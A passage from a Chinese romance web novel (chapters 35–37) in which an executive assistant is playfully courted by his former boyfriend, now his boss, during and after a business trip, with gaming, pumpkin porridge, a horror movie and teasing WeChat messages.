席殃乐在其中,有时候还会伸手按按键盘,故意让沈垣之操作的英雄原地放空技能,等屏幕一黑,他就自觉地凑过去,等沈垣之亲亲他。
就这么一天下来,游戏技术没长进,吻技倒是上了另一个层次。
他的号创的早,这些年来扣扣搜搜也买了不少皮肤,渐渐就成了绝版,找他买号的大有人在,沈垣之一直没卖,大学的时候偶尔也会和室友玩一玩。
工作之后,忙的他几乎回家倒头就睡,周末大多时候也要陪黎炫应酬,渐渐地,完全没了自己的业余爱好。
不过有时候看黎总或者是薄言玩,他偶尔也会心痒痒,但是重新配置电脑太麻烦,就连坐在那不动等着下载游戏,沈垣之也没了耐心。
但沈垣之今天很有兴致。
坐在软软的电竞椅上,沈垣之看着眼前切好,用保鲜膜包裹好的各种各样的水果,旁边还有各类酸甜的果茶,琳琅满目的零食等等。
尤其是在登录lol后,除了回归礼外,两页邮件里全是待领取的皮肤——
送礼人的id叫:亲亲小圆大王。
多年前沈垣之给席殃创的号。
沈垣之眼眸一弯,右侧的梨涡就抿了出来。
哪有这样追人的。
这太幼稚了吧,觉得真的很幼稚的沈垣之压着嘴角将皮肤展示界面截图,发到手机后,转手将截图发给了薄言。
【沈垣之:【图片】】
看了眼桌上准备好的水果零食,沈垣之眉心一挑,也拍照发了过去。
【沈垣之:【图片】【图片】】
【薄言:?你发财了呀?】
【薄言:这是在哪?】
【沈垣之:嘿。】
【薄言:这么开心?等我上来和你撸两把。】
【沈垣之:乖巧等待.jpg】
薄言上线很迅速,一上来就拉他进了房间:“你今天怎么有空打游戏,不用上班?”
沈垣之轻哼了声,不说话。
薄言一听这动静就飞速察觉到有什么不对劲来:“不对劲,十分不对劲。”
沈垣之点了匹配:“有吗?”
“有呀。”薄言肯定道:“平时见你一次都难,更别说约你打游戏了,怎么,你们公司要破产了?”
沈垣之眼眸弯了弯:“你猜。”
薄言闻言笑了笑:“我才不猜,你早该放松一下了,我有时候担心你被工作累死。”
他语气一顿:“你那没出啥事吧?”
“没呀。”
沈垣之好脾气的回答,像是想到了什么,他眼眸里噙了几分笑意:“和新领导在外出差,特批的。”
“啧。”
“你这什么语气……”
沈垣之笑嘻嘻地打断道:“开心的语气。”
沈垣之和薄言玩了好几个小时,没有人打扰,而且是带薪休假,又是自己喜欢的事,尽管很久没玩输了好几把,但也很开心。
他好久没有这样酣畅淋漓的感觉了。
等到薄言下线了,他还一个人玩了好大一会儿,桌上的水果吃的差不多,果汁也喝了不少,肚子有些饿的时候,手机震了一下。
是冯沅发来的微信消息。
【冯沅:沈哥,我们去吃火锅呗。】
沈垣之有些讶异的挑下了眉。
【沈垣之:你怎么知道今天要吃火锅?】
【冯沅:席总和我说的呀,他说如果你没有主动来找我,就让我提前半个小时叫你去吃饭。】
沈垣之眼眸一沉,唇边渐渐上扬了几分。
他回了句好,然后退出了和冯沅的聊天框,转而点开了席殃的头像,他很想发点什么过去,但又怕打扰他休息,于是轻轻点了两下他的头像。
屏幕上很快显示出一条小字。
【沈垣之拍了拍席殃说:“开心吗?”】
席殃像是预料到沈垣之会拍他一样,特地改了拍一拍的文字。
眼眸一亮,沈垣之有些忍不住地笑出了声,虽然手段真的很拙劣,但是离奇的让他心情很好,这份好心情一直持续,直到吃上了火锅,依旧没有消散。
冯沅显然也发现了,他旁敲侧击问了问,沈垣之虽然没说什么,但始终挂着笑。在离开火锅店之前,他还打包了一份小孩子才喝的南瓜粥。
“沈助刚刚没吃饱吗?”
在回酒店的车上,冯沅看着他手里的打包盒问。
“带给别人的。”沈垣之笑了一下。
冯沅很快就察觉到了什么,他看了眼和平时完全不一样状态的沈垣之,轻轻点了点头,眼眸失落地沉了几分。
没注意到冯沅的异常,沈垣之拿出了手机,外面天色渐晚,不知道席殃休息的怎么样。
刚点开微信,就看见席殃给他发了消息。
【席殃:和冯沅去吃火锅了?】
沈垣之挑挑眉。
【沈垣之:是啊,谢谢席总。】
席殃过了好几秒才发了消息过来。
【席殃:又是席总。】
沈垣之没回复。
【席殃:吃火锅就吃火锅,和他不要说太多话。】
明知道他开玩笑居多,沈垣之还是忍不住笑了。
【沈垣之:不说话当哑巴呀?那干嘛还让他和我一起吃?】
席殃很快回了消息。
【席殃:你说不喜欢一个人吃饭。】
唇边的笑容淡了些,沈垣之盯着这行字眼眸沉了沉。
这话是他很久之前在席殃面前说过一回。
小时候爸妈很忙没时间陪他吃饭,阿姨做晚饭后也要下班陪自己的孩子,每次他都一个人吃一大桌的菜,沈垣之吃的很慢,没人和他说话,他能一直吃到很晚。
在学校里他总要三五成群,热热闹闹的和同学一起分享,再到后面和席殃谈了恋爱,即使再饿,他也要等席殃做完作业,或者是洗完澡等等。
反正就要席殃陪着吃。
沈垣之低着头看了一会儿,眼尾渐渐有些发烫,正准备回点什么时,席殃发了消息过来。
【席殃:吃饭归吃饭,别和他一起泡温泉【可怜】】
得寸进尺。
沈垣之冷哼了声。
【沈垣之:你管我,都是大老爷们。】
心情很好,于是又打了一行字。
【沈垣之:如果泡了呢?】
【席殃:那我就要醋死啦。】
看着屏幕,甚至能脑补席殃说这话的语气,沈垣之轻轻勾了嘴角,他转头看向窗外,窗外街景一闪而过,在褪去嘈杂、经历情绪的大起大落后,沈垣之平静了下来。
此时此刻,他心情很好。
尽管还有些顾虑,但这就够了。
第35章 第 35 章 “明天还想追你。”……
南瓜粥很甜。
车窗外飘来一阵凉爽的晚风, 没过多久,粥的香味就蔓延开来,沈垣之盯着屏幕看了几眼, 映出了他几分带笑的眉眼。
抿紧了上扬的唇角,沈垣之按了熄屏。
他偏头看向窗外,华灯初上, 灯光跳跃着,有几束落进了他的眼里,天上罕见地还飘了几颗星星。
月色很好,他很喜欢。
火锅店到酒店的距离不远不近, 即使是下班高峰期也只花了半个小时, 沈垣之手里提着南瓜粥,脚步有些轻快,冯沅跟在他身后主动替他按了电梯。
两人分开的时候,沈垣之提了句明天的航班时间, 冯沅闻言点了点头,欲言又止后有些期待的看他:“我听说这里有温泉,沈哥, 你……”
像是觉得有些不好意思, 冯沅并没有把话说完。
沈垣之闻言笑了笑:“你去泡吧, 我就不去了。”
冯沅愣了一下, 目光落在他提着的南瓜粥上, 像是明白了什么,他难掩失落的朝沈垣之摆了摆手,笑着说了声晚安。
目送他离开,沈垣之转身进了电梯。
出了电梯,套房就在左手边。
房间里很安静。
连接两个卧室的客厅依旧没开灯, 而面对着门的巨大圆弧形的阳台上隐约传来光亮,像是开了一盏不算明亮的呼吸灯,依稀能看见一道人影。
虽然近日天气回暖,但到晚上还是有点凉的。沈垣之眉头轻轻皱了皱,将南瓜粥放在了茶几上,他往阳台那走了几步。
隔着不远不近的距离,沈垣之轻轻踮了下脚,借着月色看到穿着居家服的席殃躺在睡椅上像是睡着了,他身上盖了毯子,一旁的矮椅上摆着电脑,屏幕上停在某张图纸上。
不是已经敲定好了吗,怎么还要看图纸。
沈垣之皱了下眉。
盯着席殃的背影,沈垣之脚步一顿,渐渐地向前走近了些,等他刚踏进阳台时,席殃身上的毯子恰好落在了地上。
没过多犹豫,沈垣之上前一步,将毯子攥在了手心。
因有些发热,席殃的呼吸比平常要重一些,唇微抿着,肤色因温度变化而显得有些红,眉眼间皱着显得严肃,头发没有像往常一样梳上去,有几缕长一点的,落在了他挺直的鼻尖。
微风一吹来,头发跟着动,沈垣之眼眸也震荡了几分。
翻来覆去的想,他从没见过这样的席殃。
以前读书的时候席殃就是远近闻名的酷哥,不爱说话,也不爱笑,给人拒之千里的冷感,或许就是这份冷感在当时还很幼稚的同学对比下显得他很成熟。
再加上席殃真的很靠谱,因此沈垣之一直都很依赖他,在无形之中的。
再次重逢之后,他比以往更成熟了,高学历高职位,即使面对几位老总也不卑不亢,在项目没有确定之前,他也并不担心,很能控场。
但除此之外沈垣之还看见了他的另一面,会生气,会恼羞成怒,甚至会撒娇,甚至是脆弱的。
这是他以前从没见过的,席殃不再在他面前表现的完全成熟,甚至让他又爱又恨,可就算这样,沈垣之很惊讶的发现,和他记忆中并不太相符的这个席殃,他好像也有点喜欢。
沈垣之眨了下眼。
心想,搞什么,这才追半天而已。
而且他就买了皮肤,准备了水果,又安排了火锅,顺便示示弱,这要是换个人来追他,他早就让人有多远滚多远了。
好吧,他示弱起来确实有点很甜了……
沈垣之你能不能振作点!
眼眸一震,意识到自己在想什么的沈垣之依旧负隅顽抗,心扑通扑通的跳着,下一秒故作镇定地将毯子轻轻盖在了席殃身上。
此地不宜久留。
沈垣之木着脸正准备走时,身后传来道几不可查的声响,紧接着手腕就被人攥紧了。
“回来了?”
席殃声音有些哑,说话之际,很快松开了他的手。
手腕处仍有些余温,有些灼手,沈垣之皱了皱眉,没回答席殃的话,反而转过身摸了摸他的额头。
好像不烧了。
沈垣之狐疑地看了他一眼:“吃药了?”
席殃见他要缩回手,轻抿着唇,立马主动贴着他的掌心用额头拱了拱,眼眸很沉,他“嗯”了声:“已经不烧了。”
接着又问:“怎么没去泡温泉。”
眼眸里的笑意都要盛出来了。
沈垣之看了他一眼,很快收回了手:“刚吃完饭,等会再去。”语气淡淡的,像是不经意问道:“你吃了吗?”
席殃摇摇头:“还没。”
“刚刚黎炫给我打了几通电话,确认了几个有异议的图纸,明天回去后我得去现场看看。”
不知道为什么,一听到明天或者是工作,沈垣之心情就很烦躁,除开社畜对上班的天然排斥外,还有些他也说不清楚的东西。
仿佛只要回去了,一切都会回到原位。
很快掩饰好自己的情绪,沈垣之主动开口道:“我多买了一份粥,放在客厅的茶几上,你可以喝一点。”
“你陪我。”
沈垣之看了他一眼,心想又得寸进尺。
没等他开口说些什么,席殃低声开口:“好不好?”
“顺便陪我做一件事。”
沈垣之眉头轻轻展开了些,脚步不情愿的停了下来,压着上扬的唇角,他干巴巴地问了句:“什么事?”
——
看着席殃在他面前捣鼓电视机的时候,沈垣之眼睛都瞪大了,他想过工作上的事,甚至连什么“追人反馈”都想了,压根就没想到席殃要和他看电影。
还是恐怖片。
沈垣之虽是个无神论者,但也怕这个,每次看到中途就慌慌张张的关了电视,以至于从小到大就没完整看过一部鬼片。
熟悉的片头曲一响,思绪一顿,沈垣之心一紧,眼睛都不敢到处张望。
“坐过来。”
沉默之际,席殃笑着拍了拍软软的沙发。
为了不被看扁,沈垣之壮着胆子走了过去,没坐在席殃旁边,他挑了个较远一点的地方,顺手还抱了个抱枕。
他俩挑的这部恐怖片,是泰国的。
凑在一起选电影的时候,席殃还摇摇头,说泰国的太恐怖了,还是看国产的吧,沈垣之一听就来劲了,心想你不是故意要看恐怖片嘛。
哼,就要看最恐怖的。
于是毅然决然地选了这部高评分的泰国电影。
席殃当时看着他笑了笑,沈垣之不知道他是什么意思,这会儿真知道了。
“啊!”
出神之际,一个拿着斧头的秃头女人突脸,毫无防备的沈垣之控制不住叫出了声,明明惊魂未定,他还要偏过头强装镇定地看席殃。
只见席殃像是也被吓的够呛,手里端着那碗南瓜粥,看起来有些不知所措,不像装的。
双目对视,两人都很不自然地移开了视线。
“太突然了。”席殃解释道:“我还没做好准备。”
听上去有些委屈。
沈垣之有点想笑,但他忍了忍。
心想这到底算什么事。
这和想象中的也太不一样了吧。
没等他多想,思绪很快被更阴森的音乐所打断,沈垣之将抱枕拿高了些,偷偷从夹缝里看,该说不说不愧是高评分恐怖片,配乐合适不说,内容也很丰富。
沈垣之很快就被吸引了进去。
电影的主人公是一个名不见经传的小明星,在拍摄当地出了名的“杀人狂魔”时因吊威亚失误而惨死在拍摄现场,化成鬼之后报复社会的故事。
剧情很简单,但拍摄手法和妆造太过刺激,沈垣之控制不住想看,后背又一阵发凉,在又一次被女鬼突脸吓到之后,他默不作声往席殃那里移了一点。
客厅没开灯,周围又安静。
两人的呼吸都放轻了,沈垣之注意到席殃连粥都没喝了,不知什么时候也抱了个抱枕,他躲在抱枕后面,看的很专注,也是真的害怕。
沈垣之唇角一扬,又忍不住想笑了。
搞不明白席殃这是闹的哪出,说他想借此拉近关系,好像也不是,他坐的规规整整的,甚至比沈垣之看的还认真。
沈垣之就这样一边观察席殃,一边看电影,在剧情来到另一个高潮时,沈垣之全神贯注地分析了剧情:“她到底死没死?”
“死了吧。”席殃说:“她刚刚在电影院……”
忽然间,万籁俱寂的天桥下,阵阵阴风下男主背后突然露出一张消失许久的女鬼的脸,沈垣之眼瞳倏然放大,他猛地喊了一声,脚一缩,不管不顾的往席殃那边靠了过去。
席殃也被吓的够呛,下意识地也往沈垣之那边靠,两人头抵着头,中间的抱枕被两人挤的不成样了。
耳边还是阴森的配乐,一时间却没有人说话,像是都被吓傻了。
“你怎么也怕呀。”
没出一会儿,忍无可忍的沈垣之笑出了声,是发自肺腑的笑,脸颊旁的梨涡很明显,眼尾甚至染上了几分湿意。
席殃看了他许久,随后轻轻笑了笑:“算了,还是不看了。”
“哎,别呀。”沈垣之轻轻拦了他一下,眼眸里罕见地露出几分俏皮:“都看到这里了,看完呗。”
他语气一顿,声音很轻快:“不是你要看的吗?”
“我反悔了。”席殃声音很低:“我好害怕。”
沈垣之眼睛笑的更弯了。
双目对视,呼吸间仿佛都是甜甜的南瓜味,沈垣之睫毛一眨往后退了退,拉开一段距离后大发慈悲道:“那换吧。”
立马退出了投屏,席殃点播了动物世界。
沈垣之唇角轻轻抿了抿,约定好的电影没继续看下去,他本可以起身离开,但是没人提,沈垣之也就蜷缩在了沙发里。
客厅里恢复了安静,除了解说声外还有席殃的呼吸声,很轻,莫名的让沈垣之觉得很轻松,他不用去想回到G市会怎么样,他和席殃会不会恢复到原来的状态。
至少在这一刻。
沈垣之不用想这些,他心安理得地闭上了眼。
很快地,一道阴影落在他的头顶上方。
沈垣之睁开了眼。
入目是席殃那双温柔的眼睛:“今天开心吗?”
“这是迟来的问卷调查?”
隔着不远不近的距离,沈垣之朝他挑了挑眉。
盯着他的脸,席殃眼眸一沉,滚动着喉结“嗯”了声:“目标对象只有你一个,帮我分析分析?”
沈垣之闻言眼眸里染上了几分笑意:“你猜。”
席殃眼眸更沉了些,双目对视,他轻轻舔了舔嘴唇:“南瓜粥好甜。”
话题跳的太快,沈垣之看着他并不说话。
“明天也想喝。”
席殃低声道。
从他语句里品出言外之意,沈垣之心顿时一紧,呼吸放缓了几分。
“沈垣之。”配合着他的呼吸,席殃眼眸含笑:“明天还想追你。”
“你批准一下,好不好?”
第36章 第 36 章 “高冷总助*可爱总裁”……
晴空万里。
飞机落在G市机场时, 身后的冯沅小声地长舒了一口气:“终于回来了。”
沈垣之闻言脚步微顿,他看着熟悉的机场,眉眼间划过落地后的安稳, 心里也附和了声。
是啊,终于回来了。
一趟差出的大起大落,还不仅是工作上的, 沈垣之偏头看了眼不远处正背对着他打电话的席殃,不着痕迹地移开了视线。
“沈助,等会我们直接回公司吗?”
等待席殃打电话间隙,冯沅眼巴巴的看着他, 眉眼间掩饰不了疲倦。
闻声看了他一眼, 沈垣之眉眼一松,他知道冯沅这两天估计也累的不轻:“你组长怎么说?”
“组长说都行,最好让我问问你。”
冯沅期待的看了他一眼。
“那你先回家放好行李吧。”沈垣之想了一下:“下午上班你再回公司。”
他解释道:“黎总下午会来公司问问情况。”
冯沅笑着点点头:“好哦。”
说话之际,席殃也跟了上来, 和来时不同,这次他很自然地接过了沈垣之手里的行李箱,语气淡淡的:“司机呢。”
一说到这个, 沈垣之就有点烦。
他登机前和公司的司机师傅提前打过招呼, 但G市一到工作日就容易塞车, 刚刚师傅给他发消息说, 大概还要半个小时。
一想到这, 沈垣之就不开心的皱了下眉,小声嘟囔了句:“路上堵着呢。”
说完便觉得有些不妥,显然身体机能连带大脑都还没从H市恢复过来,他心虚的瞟了眼正低头玩手机的冯沅,轻咳了声, 正准备说什么,就看见席殃轻轻朝他弯了弯眼眸。
“知道了。”
声音很轻,就两个人听得到。
席殃今天穿的很正经,没戴耳钉,很规整的一套西装,头发随意的往后抓了一下,眉眼懒倦,衬得他整个人都很正。
明明是没想勾引谁的一套装扮,但沈垣之还是被狠狠勾引到了,看着那张温温柔柔又不失冷峻的脸,不由得感慨真是脸在江山在。
昨晚也是被这张脸蒙蔽了双眼。
昨晚席殃说完那句话后见沈垣之沉默,又很不要脸地凑了上来,声音又低又哑:“好不好?”
“求求你了,批准一下吧。”
类似于这样的话。
明明之前就同意过了,又弄这一出。
沈垣之还停留在不久前他被鬼片吓到那副可爱的模样,加上他现在又用那张帅脸说出这样诚恳的话。
席殃知道他喜欢什么,于是也就这样做了。真的很会发挥自己的特长,难怪能当上领导。
那些担心回去就会有变化的情绪瞬间消散了,沈垣之冷冰冰地点了点头:“既然你都求我了,那就批准了。”
席殃立马笑了。
眼眸亮晶晶的,唇抿得有些紧,沉默之际目光渐渐落在了沈垣之的唇上,不多时,眼眸里也浸了几分温度。
黑夜里,席殃盯着他缓慢凑近了些。
呼吸交错间温度瞬间上升了不少,沈垣之心脏跳的不行,甚至连耳尖都红了,匆匆忙忙找了个理由逃回了房间。
然后做了一晚上关于席殃的梦。
许是出神太久了,席殃眼眸弯弯的,也学着他轻咳了一声,沈垣之回过神来,不明所以地看了过去。
只见席殃故意将他的行李箱露了出来。
角落处有个小小的水彩落日。
沈垣之早在登机前就看过了,是他大一画的那个没错,不自然的移开视线,沈垣之低下头和司机重新确认了下位置,轻轻勾着唇没再看席殃。
“席总,沈助。”沉默之际,冯沅的声音突然从身旁传来:“我朋友来接我了,我先回去放放行李?”
沈垣之闻言看了过去,冯沅在接触到他目光后很快移开,之后又在席殃身上短暂的停留了一下。
沈垣之愣了一下:“行。”
冯沅闻言很快松了一口气,笑着朝他们摆了摆手,语气轻快道,“那公司见。”
沈垣之也笑着朝他点了点头。
目送冯沅离开的背影,身旁突然传来席殃的声音:“他看出来了。”
语气莫名的轻快。
沈垣之疑惑道:“看出什么?”
席殃闻言低头看了他一眼,声音轻轻的:“好迟钝。”
沈垣之皱眉,结合种种心里大概有了数,沉默片刻后,他看向席殃,语气认真:“在公司不准追我。”
“你是我上司,平时不要对我笑。”
席殃闻言压了下唇角:“好哦。”
沈垣之皱眉:“也不要用这种语气和我说话。”
席殃点了下头。
“对我冷漠点。”
沈垣之一一说着注意事项,席殃眼眸里的笑意越来越深,察觉到不对劲的沈垣之抬头望去,席殃很快恢复到以往那拒人千里的模样。
沈垣之狐疑地看了他一眼:“我刚刚说什么你听到没有?”
“听到了。”席殃语气淡淡的,居高临下看他的眼神没有任何温度:“在公司不能对你笑。”
“不能用那种语气和你说话。”
“还有呢?”
“不能说喜欢你。”
沈垣之眼皮一抬,压了下唇角:“你别趁机说这些有的没的。”
“现在又不在公司,”
席殃淡淡道:“追人不都这样吗。”他语气一顿:“你以前追我的时候……”
沈垣之不想听他胡诌,很快转移话题:“还有呢?”
“在公司,我是你领导。”席殃自上而下看他,双目对视,他眼眸一弯,声音放低了些:“私下,我都听你的。”
——
真烦。
坐在副驾驶上的沈垣之偏头看向窗外,拼命压了压上扬的唇角,才显得自己没那么开心。
机场离公司不算近也不算远,大概是高峰期过去了,路上也没那么堵了,手机里偶尔会收到消息,多半是工作群。
公司里那群小实习生大概是知道项目进展顺利,一个个在群里发言十分积极,字里行间都带上“公司楼下新开的奶茶店好好喝呀。”类似这样的话
小心思昭然若揭。
沈垣之平时虽不苟言笑,但在这方面向来大气,加上今天心情好,于是在群里说了句随便买。
不多时,群里那群小实习生就【撒花】、【沈助威武】等等夸起来了。
连杜婧笙也跟着浑水摸鱼发了一句【沈助沈助我也要。】
杜婧笙这个富婆,这点便宜也要占。
沈垣之轻轻磨了下牙,虽是这样想,但眼里噙着笑,也说买。
小琪很快就发了句【收到】,不多时就笑嘻嘻找他来报销了,沈垣之将钱发过去后,下意识看了眼车内镜。
坐在后面的席殃睡着了,眉眼间还有些疲惫。
像是想到了什么,沈垣之给小琪发了消息。
【沈垣之:公司附近有没有卖南瓜粥的?】
【助理-小琪:我问问小杜姐。】
沈垣之没来得及阻止。
【助理-小琪:小杜姐说有哒!】
沈垣之面如死灰的回了个ok,果不其然,下一秒杜婧笙就给他发了消息过来,长驱直入道。
【杜婧笙:一定不是你喝。】
沈垣之装傻。
【沈垣之:?】
【杜婧笙:我让小琪把粥放你办公室,你亲自送吧。】
【杜婧笙:霸道总裁*清冷总助。】
【杜婧笙:嗑到了嗑到了。】
沈垣之盯着屏幕看了几秒,有些无奈的摇了摇头,他回头看了眼席殃,片刻后眉间一挑,回复道。
【沈垣之:高冷总助*可爱总裁。】
【沈垣之:嗑到了嗑到了。】
【杜婧笙:?!】
【杜婧笙:【点赞】】
【杜婧笙:不过我不信。】
沈垣之看着屏幕,都快气笑了。
伸出手腕,沈垣之看了眼,虽然不是很粗吧,但是他这些年也没有疏于健身,比起两点一线的上班族,肌肉线条也是非常流畅的。
倒也不至于,一眼那个吧。
沈垣之眉头轻轻一皱,回头看了眼席殃,隔空对比了一下,就连手臂,席殃好像都比他宽一倍。
目光下移。
不知想到了什么,沈垣之耳尖一红,有些不自然的移开了视线。
今天天气真的很好,还出了太阳,沈垣之很快就没在想这些奇怪的事,他稍稍开了点窗,对着不远处的天边拍了张照。
顺便还发了条朋友圈。
分组,裁剪。
沈垣之配文【太阳。】
不多时,这条朋友圈就有很多朋友点了赞,有几个知道他出差的同事都问他是不是回来了。
沈垣之一一回复。
再一刷新,一个熟悉的头像突然出现在评论区里。
【席殃:太阳。】
沈垣之一愣,回头看向后座的席殃。
双目对视,席殃不知什么时候醒来了,双手交叉,好整以暇地朝他轻轻挑了下眉。
沈垣之看了眼旁边的司机,抿着唇点开了和席殃的聊天框。
【沈垣之:撤回,不许给我评论。】
【席殃:好哦。】
【席殃:那你得答应我一个要求。】
沈垣之挑了下眉。
【沈垣之:大少爷,又怎么了?】
消息刚发出去,席殃就回复道。
【席殃:把你上条朋友圈删了。】
【席殃:身材有我好吗?】
沈垣之一愣,片刻后,眼眸里噙满了笑,他退出和席殃的聊天框,找到席殃说的那条朋友圈。
就是不久前,他在余杭酒吧里喝醉时拍的那几个大学生,要不是席殃提醒,他还真把这事忘了。
沈垣之切回了聊天框。
【沈垣之:人家唱歌好听。】
消息发出去没多久,手机就震了一下。
【席殃:哼,那也不行。】
第37章 第 37 章 “喜欢。”
熟悉的街景出现在眼前, 沈垣之偏过头望向窗外,调整了下面部表情,他收起了唇边的笑。
按理说, 照席殃这样三天两头的来一句沈垣之早该免疫了才对,可事实证明,他向来顽强的意志还是出了点漏洞。
实在是有点难以抵抗。
那条朋友圈都发了这么久, 这两天也没见席殃主动提起,昨天吃火锅也让冯沅陪着他,说的冠冕堂皇,表现的很善解人意。
沈垣之以为他真的不在意, 结果泡温泉不让泡在一起, 那条朋友圈记了好几天,就等着今天。
真的很能憋。
但和以前又不一样,席殃现在什么都说,不该说的也说, 吃醋摆在门面上,言语间故意撒着娇让人生不起气,不仅如此, 心里还甜滋滋的。
席殃追起人来原来是这样的。
真棘手。
沈垣之皱着眉很轻的扯了下嘴角, 负隅顽抗的按熄了屏幕, 不再给席殃回应。
经过熟悉的十字路口后车子驶入了熟悉的写字楼, 沈垣之很快摆正了神色, 眼眸平静,唇角没什么情绪的轻抿着,恢复到以往不近人情的总助模样。
他和黎总平时私底下关系不错,但入职以来,晋升过程中从来没有过任何“关系户”类似谣言, 最主要的原因是他公私分明。
在公司该说什么,该做什么,沈垣之有自己一套行为标准,说不上有多热爱这个岗位,但他尊重自己的劳动成果。
显然席殃也是。
从进了停车场,两人之间那点说不出的暧昧拉扯消散了很多,在车内镜瞥见席殃冷峻的眉眼,沈垣之心一动,但很快地松了一口气。
沈垣之的车还在薄言的酒吧没开回来,这两个一大一小的行李箱就毫无异义的塞进了席殃车里。
席殃现在住在他对门。
沈垣之眼睫一眨,将不该有的情绪收于眼底,两人一前一后进了电梯。
电梯里被打扫过,有股很奇怪的香,沈垣之不太喜欢这股味,闻了就有些反胃,他看了眼身前那高大的背影,犹豫片刻后身子稍稍往前倾了一点。
席殃身上是他自己的味道。
很淡,恰好能中和这股奇怪的香。
“下午黎总要来公司?”沉默之际,席殃问道。
他声音有些严肃,沈垣之愣了一下,很快反应过来:“嗯。”
“好。”席殃没回头:“汇报工作就交给你了,主要提一提图纸设计问题,廖教授反馈摘星楼前几年修整过,和我们现在的图纸对不上。”
沈垣之轻轻应了声,心里想着赶快回去再看看图纸。
“不过不要太担心。”像是察觉到他在想什么,席殃补充道:“我和廖教授聊起时冯沅也在,你提前和他联系,提前沟通。”
“我下午要出去一趟,不在公司。”
“好的席总。”
说完,电梯里很快沉默了下来。
沈垣之偷偷瞟了眼席殃,还没弄懂心里那股子别扭劲是怎么回事,眼皮轻轻一抬,便在反光镜里对上了席殃的视线。
那双眼分明就是噙着笑。
不知出于什么原因,沈垣之脸一下就红了,他看着慢慢跳跃的数字,心慌的错乱了好几拍。
正要故作镇定躲开视线时,席殃突然转过身来,在沈垣之略带慌乱的视线下,他慢慢凑了过来。
眼看着马上就要到十五楼,沈垣之一颗心几乎要跳到了嗓子眼里,没等他说什么,席殃没什么表情地伸手过来,很自然地替他整理了下领带。
伴随着“叮”的一声,电梯门被打开,席殃收回了手,他自上而下地看他,呼吸声像是撩过沈垣之耳尖一般,以领导的口吻道:“别紧张。”
“小助理,我很好相处的。”
——
目送席殃先行一步回办公室的背影,沈垣之都快气笑了。不知是该夸席殃进入角色够快,还是要骂他真会给自己加戏。
谁紧张了。
还小助理。
沈垣之有些好笑,但心里那股别扭劲莫名的因着席殃的话消散了许多,轻轻摇了下头,他很快调整好状态,转身走向自己的办公室。
推开门。
他的办公室里没什么变化,桌面上精心呵护的水培植物依旧生长得旺盛,出差期间小助理应该有帮忙搬出去晒过太阳,其中一株水仙还开出了花来,粉嫩粉嫩的,很漂亮。
沈垣之有些欣喜,对着它拍了好几张照片。
开窗通风,直到办公室没那么沉闷之后,沈垣之抿下一口温水,和黎炫留过言后很快开始了工作。
虽然这两天出差工作都没什么积压,但随着G市这个项目快要敲定下来,沈垣之要做的事也慢慢多了起来。
提前要准备好起草文件,以及整理项目所需的产品详细资料,再通知有关工程部进行新老产品技术对比,之后还要跑一趟工厂,催催产品进度。
沈垣之很快心无旁骛地投身于工作中。
直到嘴唇有些干了,沈垣之准备去倒杯水时,才注意到办公桌上那碗包装精致的南瓜粥,眉心一展,沈垣之盯着看了一会儿。
随后他拿起了手机,点开了微信。
目光在触到席殃那张熟悉的头像时,手指轻轻停顿了一下,脑海里冒出杜婧笙不久前发的那些话。
沈垣之心一动,片刻后,他摇了下头。
还是算了。
是他自己和席殃说的在公司里尽量少说话,而且席殃昨晚才说想喝南瓜粥,今天他要是就这样屁颠屁颠地跑去送算怎么回事。
到底谁追谁啊。
沈垣之有些傲娇的想。
于是他很快打消了这个不切实际的念头。
天气渐渐热了起来,沈垣之瞅了一眼南瓜粥后起身将它放进办公室的小冰箱里。
不给席殃,他要来当作今天的晚餐。
安排好了南瓜粥的去留问题,沈垣之又勤勤恳恳继续他的工作,手头上的事处理的差不多之后也到了午饭时间,沈垣之简单的收了个尾,起身出了办公室。
不远处项目部长办公室的门关得很紧,不像有人在,沈垣之不着痕迹的移开视线,只身去了公司食堂。
端着菜,沈垣之依旧去了他爱待的那个老地方,刚坐下没多久,手机便震动了一下。
点开来看,是席殃的消息。
【席殃:看到你了。【图片】】
图片里是在食堂端着盘子和同事笑着说话的沈垣之,他今天穿了一套合身西装,拍摄者角度抓拍的很好,衬得他身量极其优越。
沈垣之勾了下唇。
【沈垣之:拍我做什么?】
【沈垣之:工作微信不准聊这些。】
席殃很快回了消息过来。
【席殃:现在是下班时间,能聊。】
【席殃:喜欢就拍了。】
盯着屏幕,沈垣之猛地咳了一下,他连忙手忙脚乱地找水喝,期间席殃又发消息过来了。
【席殃:不想去应酬。】
沈垣之眉心一挑,勾着唇回复。
【沈垣之:又怎么了。】
【席殃:一下午看不到你,破工作。】
沈垣之:“……”
心想不久前在电梯里你可不是这个态度,拿出你霸总的气势出来好吗。
明知道席殃是故意卖乖,但沈垣之还是忍不住笑出了声,想着席殃大病初愈他便慷慨地哄了一下。
【沈垣之:我养的。】
【沈垣之:【图片】】
图片里是不久前他拍的水仙花,沈垣之很不经意选了有他侧脸的一张。
【席殃:漂亮。】
【沈垣之:当然。】
【席殃:人也漂亮。】
沈垣之挑了下眉。
【沈垣之:^_^】
【席殃:喜欢花?】
【沈垣之:嗯。】
【席殃:知道了。】
知道什么了?
沈垣之皱皱眉,不再回复席殃,但是心情又变得很好了,这份好心情一直持续到下午,黎炫行色匆匆赶来开了场简短的会议,其中人员包括他和冯沅,还有其他部门的同事。
先是冯沅提出了图纸和一中新老建筑整修后不符问题,黎炫得知后没多说什么,只让他们找个时间去一中看看情况。
说完他语气一顿,朝沈垣之的方向望了过来:“听说这周六是一中周年庆?”
明白黎炫的意思,沈垣之迟疑地点了点头:“是的。”
“那行。”黎炫眉头一展:“你和小冯刚好回去看看,展会那边新产品参数不达标,我得去跑一趟,一中那边我可能去不了。”
“行。”沈垣之点了点头。
之后又聊了些其他的,很快就散会了,沈垣之单独被黎炫留下了解了出差几天的具体情况,沈垣之一一将说清楚,黎炫只“嗯”了一声,久久没有说话。
沈垣之这才注意到黎炫状态有些不对劲,他的黑眼圈有些重,唇也有点偏白。
没等沈垣之开口问,黎炫很快回过神:“今天早点下班,这几天辛苦了。”
“好的黎总。”
压着疑惑回到了办公室,沈垣之盯着屏幕有一瞬间的出神。
比起琢磨黎炫的不对劲,沈垣之更在意周末的周年庆。他都快忘记有多久没回一中了,每年的同学聚会也没参加过,就连每次开车路过,他也很少往里看一眼。
即使沈垣之不想承认,但他清楚,他心里是有些抵触的,或许是近乡情怯,又或许是切切实实伤心过、也期待过,所以下意识地想逃避。
而造成一切的根源就是席殃。
沈垣之有些不开心地瘪了下嘴。这会儿早就下班了,除了他的办公室还亮着灯外,这一层都只亮了一圈轻柔的顶灯。
